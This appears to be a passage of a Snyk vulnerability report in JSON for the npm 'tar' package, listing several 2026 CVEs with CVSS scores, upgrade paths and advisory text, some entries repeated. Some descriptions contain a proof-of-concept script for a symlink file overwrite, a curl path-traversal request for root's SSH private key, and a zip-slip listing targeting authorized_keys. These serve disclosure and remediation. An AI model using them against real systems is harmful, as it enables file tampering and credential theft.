[ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": 